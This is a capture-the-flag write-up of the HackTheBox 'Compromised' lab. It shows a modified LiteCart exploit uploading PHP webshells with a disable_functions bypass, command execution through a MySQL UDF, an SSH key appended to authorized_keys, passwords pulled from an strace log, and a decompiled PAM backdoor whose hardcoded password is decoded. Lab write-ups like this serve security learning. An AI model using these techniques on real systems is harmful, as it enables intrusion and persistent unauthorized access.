HackTheBox - Compromised

10 minute read

Compromised was a fun 40 point box created by D4nch3n that covered some interesting tools and techniques. Let’s jump in.

User.txt

Nmap


A quick nmap scan reveals the following ports and services:

# nmap --min-rate 5000 -p- 10.10.10.207 -v --max-retries 3

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
# nmap -sV -sC -p 22,80 10.10.10.207                          

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
|   256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_  256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://10.10.10.207/shop/en/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


HTTP


Checking out http://10.10.10.207/ we’re presented with a litecart application:


There is an appropriate exploit available but credentials are required, let’s continue with our enumeration.


Gobuster


Running gobuster against the application returns some interesting endpoints:

# gobuster dir -u http://10.10.10.207/ -w /usr/share/wordlists/dirb/common.txt -t 30
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.207/
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/01/22 10:24:40 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/backup (Status: 301)
/.hta (Status: 403)
/index.php (Status: 302)
/server-status (Status: 403)
/shop (Status: 301)

/backup stands out and an archive is available to download:


Code Analysis


Extract the archive:

# tar -xf a.tar.gz
# cd shop
# ls
admin  cache  data  ext  favicon.ico  images  includes  index.php  logs  pages  robots.txt  vqmod

Checking out the admin folder, the login.php file had an interesing line commented out:

<?php
  require_once('../includes/app_header.inc.php');

  document::$template = settings::get('store_template_admin');
  document::$layout = 'login';

  if (!empty($_GET['redirect_url'])) {
    $redirect_url = (basename(parse_url($_REQUEST['redirect_url'], PHP_URL_PATH)) != basename(__FILE__)) ? $_REQUEST['redirect_url'] : document::link(WS_DIR_ADMIN);
  } else {
    $redirect_url = document::link(WS_DIR_ADMIN);
  }

  header('X-Robots-Tag: noindex');
  document::$snippets['head_tags']['noindex'] = '<meta name="robots" content="noindex" />';

  if (!empty(user::$data['id'])) notices::add('notice', language::translate('text_already_logged_in', 'You are already logged in'));

  if (isset($_POST['login'])) {
    //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
    user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
  }

  if (empty($_POST['username']) && !empty($_SERVER['PHP_AUTH_USER'])) $_POST['username'] = !empty($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';

  $page_login = new view();
  $page_login->snippets = array(
    'action' => $redirect_url,
  );
  echo $page_login->stitch('pages/login');

  require_once vmod::check(FS_DIR_HTTP_ROOT . WS_DIR_INCLUDES . 'app_footer.inc.php');

We can see that the username and password of the admin login page were logged to an obscure logfile .log2301c9430d8593ae.txt. We can access the file on the litecart application and grab the admin credentials:


litecart Exploit


With valid credentials for the admin interface we can use the exploit discovered during our initial enumeration:

# python lite.py -h
usage: lite.py [-h] [-t T] [-p P] [-u U]

LiteCart

optional arguments:
  -h, --help  show this help message and exit
  -t T        admin login page url - EX: https://IPADDRESS/admin/
  -p P        admin password
  -u U        admin username

Running the exploit you’ll notice that we don’t receive any output:

# python lite.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~'
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/731B7.php?c=id

This can be verified with curl:

# curl -i http://10.10.10.207/shop/vqmod/xml/731B7.php?c=id
HTTP/1.1 200 OK
Date: Fri, 22 Jan 2021 15:45:25 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8

I played around with the payload within the exploit with common PHP code execution functions but was unable to run remote commands on the server which implies they were blocked/disabled. It was possible however to execute phpinfo(), file_get_contents, get_current_user(), and scan_dir() by editing the payload of the litecart exploit:

files = {
        'vqmod': (rand + ".php", "<?php file_get_contents(\"/etc/passwd\") ?>", "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)
r = requests.get(url + "../vqmod/xml/" + rand + ".php?")
if r.status_code == 200:
    print "Shell => " + url + "../vqmod/xml/" + rand + ".php?"
    print r.content

Running the exploit and we get the contents of /etc/passwd:

# python lite.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~'
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/XW6SK.php?
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
red:x:1001:1001::/home/red:/bin/false

I wasted a lot of time attempting to read/write SSH keys and get command execution. I came across this exploit when attempting to find resources on PHP execution bypasses. I added the following snippet to the top of the exploit:

if (isset($_GET['cmd'])) {
    pwn($_GET['cmd']);
}  

I then edited the litecart exploit to upload the php bypass code to the server:

bypasspwn = """
<PASTE EXPLOIT HERE>
"""
files = {
        'vqmod': (rand + ".php", bypasspwn, "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)
r = requests.get(url + "../vqmod/xml/" + rand + ".php?cmd=id")
if r.status_code == 200:
    print "Shell => " + url + "../vqmod/xml/" + rand + ".php?cmd=id"
    print r.content
else:
    print "Sorry something went wrong"

Running the exploit succeeds are we get code execution:

# python lite.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~'
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/UN7YW.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)


Webwrap


I then used webwrap to make the webshell a bit prettier:

# python3 webwrap.py http://10.10.10.207/shop/admin/../vqmod/xml/UN7YW.php?cmd=WRAP

www-data@compromised:/var/www/html/shop/vqmod/xml$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@compromised:/var/www/html/shop/vqmod/xml$ ls
731B7.php
BFWCJ.php
CRQ9T.php
UN7YW.php
XW6SK.php
index.html


Mysql


With a proper shell we can finally enumerate properly. I came across some mysql credentials in the backup archive file when initially grepping for interesting strings, the creds are in the shop/includes/config.inc.php file and are shown below:

// Database                                                 
  define('DB_TYPE', 'mysql');                 
  define('DB_SERVER', 'localhost');                               
  define('DB_USERNAME', 'root');          
  define('DB_PASSWORD', 'changethis');                                        
  define('DB_DATABASE', 'ecom');                        
  define('DB_TABLE_PREFIX', 'lc_');                                      
  define('DB_CONNECTION_CHARSET', 'utf8');                               
  define('DB_PERSISTENT_CONNECTIONS', 'false');

As we can’t use an interactive prompt in a webshell, the mysql -e command can be used to execute commands. Seeing if there are any UDFs present:

$ mysql -u root -pchangethis -e "select * from mysql.func;"
mysql: [Warning] Using a password on the command line interface can be insecure.
name    ret     dl      type
exec_cmd        0       libmysql.so     function

We can then execute system commands:

$ mysql -u root -pchangethis -e "select exec_cmd('id')"
mysql: [Warning] Using a password on the command line interface can be insecure.
exec_cmd('id')
uid=111(mysql) gid=113(mysql) groups=113(mysql)

Check if we can SSH in as the mysql user:

$ mysql -u root -pchangethis -e "select exec_cmd('ls -la /var/lib/mysql/ | grep .ssh')"
mysql: [Warning] Using a password on the command line interface can be insecure.
exec_cmd('ls -la /var/lib/mysql/ | grep .ssh')
drwxrwxr-x  2 mysql mysql     4096 Sep  3 11:52 .ssh

Then write our pub key to the authorized_keys file:

$ mysql -u root -pchangethis -e "select exec_cmd('echo \'ssh-rsa AAAAB3N...ci+g7kHa40= root@kali\' >> /var/lib/mysql/.ssh/authorized_keys')"
mysql: [Warning] Using a password on the command line interface can be insecure.
exec_cmd('echo \'ssh-rsa AAAAB3...

We can now SSH in as the mysql user:

# ssh -i id_rsa mysql@10.10.10.207

mysql@compromised:~$ id
uid=111(mysql) gid=113(mysql) groups=113(mysql)


Mysql to sysadmin


Seeing what’s present in the mysql users home dir:

mysql@compromised:~$ ls -la
total 189280
drwx------  9 mysql mysql     4096 Jan 22 05:50 .
drwxr-xr-x 43 root  root      4096 May 24  2020 ..
-rw-r-----  1 mysql mysql       56 May  8  2020 auto.cnf
lrwxrwxrwx  1 root  root         9 May  9  2020 .bash_history -> /dev/null
-rw-------  1 mysql mysql     1680 May  8  2020 ca-key.pem
-rw-r--r--  1 mysql mysql     1112 May  8  2020 ca.pem
-rw-r--r--  1 mysql mysql     1112 May  8  2020 client-cert.pem
-rw-------  1 mysql mysql     1676 May  8  2020 client-key.pem
-rw-r--r--  1 root  root         0 May  8  2020 debian-5.7.flag
drwxr-x---  2 mysql mysql    12288 May 28  2020 ecom
drwx------  3 mysql mysql     4096 May  9  2020 .gnupg
-rw-r-----  1 mysql mysql      527 Sep 12 19:57 ib_buffer_pool
-rw-r-----  1 mysql mysql 79691776 Jan 22 05:51 ibdata1
-rw-r-----  1 mysql mysql 50331648 Jan 22 05:51 ib_logfile0
-rw-r-----  1 mysql mysql 50331648 May 27  2020 ib_logfile1
-rw-r-----  1 mysql mysql 12582912 Jan 22 15:59 ibtmp1
drwxrwxr-x  3 mysql mysql     4096 May  9  2020 .local
drwxr-x---  2 mysql mysql     4096 May  8  2020 mysql
lrwxrwxrwx  1 root  root         9 May 13  2020 .mysql_history -> /dev/null
drwxr-x---  2 mysql mysql     4096 May  8  2020 performance_schema
-rw-------  1 mysql mysql     1680 May  8  2020 private_key.pem
-rw-r--r--  1 mysql mysql      452 May  8  2020 public_key.pem
-rw-r--r--  1 mysql mysql     1112 May  8  2020 server-cert.pem
-rw-------  1 mysql mysql     1680 May  8  2020 server-key.pem
drwxrwxr-x  2 mysql mysql     4096 Sep  3 11:52 .ssh
-r--r-----  1 root  mysql   787180 May 13  2020 strace-log.dat
drwxr-x---  2 mysql mysql    12288 May  8  2020 sys

There’s a strace log file present stracce-log.dat. strace captures and records all system calls made by a process. Grepping with the keyword password provides some interesting information:

mysql@compromised:~$ cat strace-log.dat | grep password
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0
22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35
22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0
22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73
22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5
22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440
22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30

We can see the password 3*NLJE32I$Fe in the call to mysql.


Flag


Attempting to su sysadmin with this password succeeds and we can cat the user flag:


mysql@compromised:~$ su sysadmin
Password: 3*NLJE32I$Fe
sysadmin@compromised:/var/lib/mysql$ id
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin)
sysadmin@compromised:~$ cat user.txt 
1def15...


Root.txt

Packages


As the box’s name is compromised, we can make the assumption that the attackers left a backdoor of some kind. We can use the dpkg -V command to verify the integrity of all the packages installed upon the system, this works by comparing the local files to the metadata information stored in the dpkg database:

sysadmin@compromised:~$ dpkg -V 2>/dev/null
??5??????   /boot/System.map-4.15.0-99-generic
??5?????? c /etc/apache2/apache2.conf
??5?????? c /etc/apache2/sites-available/000-default.conf
??5??????   /boot/vmlinuz-4.15.0-101-generic
??5?????? c /etc/sudoers
??5?????? c /etc/sudoers.d/README
??5?????? c /etc/at.deny
??5?????? c /etc/iscsi/iscsid.conf
??5??????   /boot/vmlinuz-4.15.0-99-generic
??5??????   /bin/nc.openbsd
??5??????   /boot/System.map-4.15.0-101-generic
??5??????   /var/lib/polkit-1/localauthority/10-vendor.d/systemd-networkd.pkla
??5??????   /lib/x86_64-linux-gnu/security/pam_unix.so
??5?????? c /etc/apparmor.d/usr.sbin.mysqld
??5?????? c /etc/mysql/mysql.conf.d/mysqld.cnf

pam_unix.so stands out and googling pam unix backdoor returns some interesting results.


Ghidra


I downloaded the suspicious package with scp and threw it into Ghidra. Analysing and then searching for backdoor highlights locations were the keyword is found:


Inspecting pam_sm_authenticate, Ghidra decompiles and presents us with the following code:

int pam_sm_authenticate(pam_handle_t *pamh,int flags,int argc,char **argv)
{
  ulong uVar1;
  uint ctrl;
  int iVar2;
  int iVar3;
  char *prompt1;
  int *__ptr;
  uint uVar4;
  long in_FS_OFFSET;
  char *name;
  void *p;
  char backdoor [15];
  byte local_40;
  
  uVar1 = *(ulong *)(in_FS_OFFSET + 0x28);
  local_40 = (byte)uVar1;
  ctrl = _set_ctrl(pamh,flags,(int *)0x0,(int *)0x0,(int *)0x0,argc,argv);
  uVar4 = ctrl & 0x40000;
  if (uVar4 == 0) {
    __ptr = (int *)0x0;
  }
  else {
    __ptr = (int *)malloc(4);
  }
  iVar2 = pam_get_user(pamh,&name,0);
  if (iVar2 == 0) {
    if ((name != (char *)0x0) && ((*name - 0x2bU & 0xfd) != 0)) {
      iVar3 = _unix_blankpasswd(pamh,ctrl,name);
      if (iVar3 == 0) {
        prompt1 = (char *)dcgettext("Linux-PAM","Password: ",5);
        iVar2 = _unix_read_password(pamh,ctrl,(char *)0x0,prompt1,(char *)0x0,"-UN*X-PASS",&p);
        if (iVar2 == 0) {
          backdoor._0_8_ = 0x4533557e656b6c7a;
          backdoor._8_7_ = 0x2d326d3238766e;
          local_40 = 0;
          iVar2 = strcmp((char *)p,backdoor);
          if (iVar2 != 0) {
            iVar2 = _unix_verify_password(pamh,name,(char *)p,ctrl);
          }
          p = (void *)0x0;
        }
        else {
          if (iVar2 == 0x1e) {
            iVar2 = 0x1f;
          }
          else {
            pam_syslog(pamh,2,"auth could not identify password for [%s]",name);
          }
        }
        name = (char *)0x0;
        if (uVar4 != 0) goto LAB_00103100;
      }
      else {
        name = (char *)0x0;
        if (uVar4 != 0) {
          if (__ptr == (int *)0x0) goto LAB_00103059;
          *__ptr = 0;
          goto LAB_00103017;
        }
      }
LAB_0010304c:
      if (__ptr != (int *)0x0) {
        free(__ptr);
      }
      goto LAB_00103059;
    }
    pam_syslog(pamh,3,"bad username [%s]");
    if (uVar4 == 0) {
      if (__ptr == (int *)0x0) {
        iVar2 = 10;
      }
      else {
        iVar2 = 10;
        free(__ptr);
      }
      goto LAB_00103059;
    }
    iVar2 = 10;
    if (__ptr == (int *)0x0) goto LAB_00103059;
    *__ptr = 10;
    iVar2 = 10;
  }
  else {
    if (iVar2 == 0x1e) {
      iVar2 = 0x1f;
    }
    if (uVar4 == 0) goto LAB_0010304c;
LAB_00103100:
    if (__ptr == (int *)0x0) goto LAB_00103059;
    *__ptr = iVar2;
  }
LAB_00103017:
  pam_set_data(pamh,"unix_setcred_return",__ptr,setcred_free);
LAB_00103059:
  if ((uVar1 & 0xffffffffffffff00 | (ulong)local_40) == *(ulong *)(in_FS_OFFSET + 0x28)) {
    return iVar2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

The section that stands out is shown below with the string compare of the backdoor variable:

iVar2 = _unix_read_password(pamh,ctrl,(char *)0x0,prompt1,(char *)0x0,"-UN*X-PASS",&p);
        if (iVar2 == 0) {
          backdoor._0_8_ = 0x4533557e656b6c7a;
          backdoor._8_7_ = 0x2d326d3238766e;
          local_40 = 0;
          iVar2 = strcmp((char *)p,backdoor);
          if (iVar2 != 0) {
            iVar2 = _unix_verify_password(pamh,name,(char *)p,ctrl);
          }
          p = (void *)0x0;

The backdoor variable declaration at the top also tells us the password is 15 characters long:

char backdoor [15];

You can either chuck the two hex strings into cyberchef, or right-click and convert to Char Sequence. Either way, the strings are shown below:

0x4533557e656b6c7a == E3U~eklz   ->   zlke~U3E
0x2d326d3238766e == -2m28vn      ->   nv82m2-

The password is zlke~U3Env82m2-


Flag


We can simply su root with the password and cat the root flag:

sysadmin@compromised:~$ su root
Password: zlke~U3Env82m2-

root@compromised:/home/sysadmin# id
uid=0(root) gid=0(root) groups=0(root)
root@compromised:/home/sysadmin# cat /root/root.txt
68e68b...